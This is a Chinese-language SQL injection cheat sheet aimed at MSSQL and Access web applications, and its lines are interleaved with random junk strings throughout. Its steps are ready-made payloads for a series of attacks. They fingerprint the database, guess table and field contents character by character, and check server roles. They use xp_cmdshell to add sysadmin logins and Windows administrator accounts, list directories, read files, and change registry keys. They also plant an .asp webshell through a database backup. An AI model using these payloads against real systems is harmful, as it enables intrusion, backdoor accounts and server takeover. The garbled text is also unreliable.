1.判断是否有注入;and 1=1 ;and 1=2 ]hbyELs
2.初步判断是否是mssql ;and user>0 C|o`k9I#
[l8jRT=R
3.注入参数是字符'and [查询条件] and ''=' 3hK#'."`N
8 P>#l. #
4.搜索时没过滤参数的'and [查询条件] and '%25'=' P:N1#|g
0s>/mh;
5.判断数据库系统 Vb'7>
Q;D0<Bv
;and (select count(*) from sysobjects)>0 mssql U_{Ux2
<!pvqNApg
;and (select count(*) from msysobjects)>0 access bpxeznz
H
Tz
"&%#!2
E]6z8juO6
6.猜数据库 ;and (select Count(*) from [数据库名])>0 'gt-s547
I'@Ydt2
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Q(\4]i< S
IEcf
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 edK|NOOZ
D11F.McM
9.(1)猜字段的ascii值(access) }@^4,FKJ
3yNU$.g
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 -Fn}4M
dzkw$m^@^
(2)猜字段的ascii值(mssql) 0]jA<vLR
t2r?N}"P
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 PClMQL#
Zt3)]sB
10.测试权限结构(mssql) &RTX6%'KY
z1Ov|Q`
|eWjYGwJa
mSo_} je(
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ;IpT} ,
pm6>_Kz
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
(X?/"lC)
q`G, L(
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- P06RJE
?]4>rl}
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- o,P.&m{?
qBT.x,$
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Z*FrB58
ZZyDG9a>7
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Vy|6E#U
oaK%Ww6~
;and 1=(select IS_MEMBER('db_owner'));-- t>uN'oCyC
a<h1\ `H7
x1BobhU~Zl
[S@}T
zE
11.添加mssql和系统的帐户 Rd>B0;4
a:_I
;exec master.dbo.sp_addlogin username;-- M5trNSL&u
;exec master.dbo.sp_password null,username,password;-- hbcuK&
_fwb!T}$
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- h/,${,}J
JO@|*/mL
;exec master.dbo.xp_cmdshell 'net user username password G\a8B#hg
,<Q~b%(3
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- W'on$mB5<
.T*GN|@$!
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 5IbJ
0j_bh,zG#
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 8O"U 0
.E@|D6$D
Z'k|u4ZC
5H9r=a
12.(1)遍历目录 d|iy#hy"_
Q*XE
h
;create table dirs(paths varchar(100), id int) q}FVzahv
{vE(l'
;insert dirs exec master.dbo.xp_dirtree 'c:\' aceZ3U>W
C8L'si
;and (select top 1 paths from dirs)>0 . ]8E7
n\ Hs@.
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) >~\89E02
| 0,vQv
dCFlM&(i
ZY56\qcY
(2)遍历目录 >dM8aJzC
zY|klX})
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- NOS>8sy
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 )H}#A#ovj7
SZ_V^UX_
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 4&cL[Ny
<vUVP\u~$
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 lW 81q2n
P%MfCpyj
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 p\Lq}tk<
{W\T"7H
SAY
f'[|w
:h1pBEiH
13.mssql中的存储过程 zW8*E E+,
d`
Sr4c
xp_regenumvalues 注册表根键, 子键 v0 Ir#B,[H
]p!Gt,rYq
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 -TV?E%r
i7LJ&g/)
xp_regread 根键,子键,键值名 cUO<.
{ccIxL
/~
;exec xp_regread hwqbi "o
=KT7nl
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 -ti{6:H8
.6~`Ubr}E
xp_regwrite 根键,子键, 值名, 值类型, 值 **>/}.%?K
/xJqJ_70X
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 g`>og^7g
R3X{:1{j
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 {w
<+_++
fKtV'/X;Q
xp_regdeletevalue 根键,子键,值名 c={Ft*N
J/A[45OD
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 syzdd
an
4"=Vq5
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 _3Cn{{ A0
U,Mx@KdV
]P[%Mhg^
0ji
q-3V)
14.mssql的backup创建webshell X#w%>al
p#KW$OQ]8
use model ^JR;epVJ
A%\tiZe
create table cmd(str image); mNYl@+:psj
0L^u2HZYL
insert into cmd(str) values (''); _#_
E^!
O3o: qly!
backup database model to disk='c:\l.asp'; >ulY7~wUv
\b*X:3g*
]8;n{ }X
#;#3%?
15.mssql内置函数 ~}DQT>7$
>`jU`bR@
;and (select @@version)>0 获得Windows的版本号 T5O _LCIws
NcM>{{8
;and user_name()='dbo' 判断当前系统的连接用户是不是sa '!1$9o^$
[/RM=4Nh5
;and (select user_name())>0 爆当前系统的连接用户 !q"CV
)$Z(|M4
;and (select db_name())>0 得到当前连接的数据库 P;]F=m+*V
[hRU&z;W
~svO*o Wa
kVS?RHR
16.简洁的webshell Ov82ibp_1
#2xSyOrmf
use model Rb}KZ+o"Z
<ale$[
create table cmd(str image); gBk5wk_j|
sn{A wF%
insert into cmd(str) values (''); Zt E##p
vf~`eT
backup database model to disk='g:\wwwtest\l.asp';